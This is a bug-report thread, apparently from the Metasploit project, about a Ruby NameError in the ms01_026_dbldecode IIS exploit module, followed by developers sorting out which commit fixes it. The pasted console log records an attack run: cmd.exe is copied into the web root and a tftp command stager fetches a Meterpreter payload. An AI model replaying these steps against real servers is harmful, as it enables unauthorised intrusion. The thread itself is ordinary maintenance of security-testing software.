ms01_026_dbldecode triggers undefined method on payload_exe

[hdm]

Reported on IRC by netsecstudent. The WINDIR option is incorrect, but the stack trace seems unrelated.

msf exploit(ms01_026_dbldecode) > show options

Module options (exploit/windows/iis/ms01_026_dbldecode):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   CMD                      no        Execute this command instead of using command stager
   RHOST   192.168.100.20   yes       The target address
   RPORT   80               yes       The target port
   WINDIR  C:Windows        no        The windows directory of the target host


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
   LPORT     21168            yes       The listen port
   RHOST     192.168.100.20   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(ms01_026_dbldecode) > exploit
[*] Started bind handler
[*] Using windows directory "C:Windows"
[*] Copying cmd.exe to the web root as "jCtn.exe"...
[*] Executing command: copy \C:Windows\system32\cmd.exe jCtn.exe (options: {})
[*] Executing command: tftp -i  GET  IVFiPfAg.exe (options: {:temp=>".", :linemax=>1400, :cgifname=>"jCtn.exe"})
[*] Command Stager progress -  59.09% done (26/44 bytes)
[*] Command Stager progress - 100.00% done (44/44 bytes)
[-] Exploit failed: NameError undefined local variable or method `payload_exe' for #<Msf::Modules::Mod6578706c6f69742f77696e646f77732f6969732f6d7330315f3032365f64626c6465636f6465::Metasploit3:0x00000011013f68>

[todb-r7]

f25e3eb does not fix this.

[wchen-r7]

Really? It does not?

[wchen-r7]

Oh you're right, yeah it's the other one that fixes this.

[todb]

You said it didn't? You said you referenced the wrong PR?

I don't know now, you tell me.

Sent from a tiny computer.
Text (insecure): 512-438-9165

[wchen-r7]

Yeah f25e3eb is for the other ticket.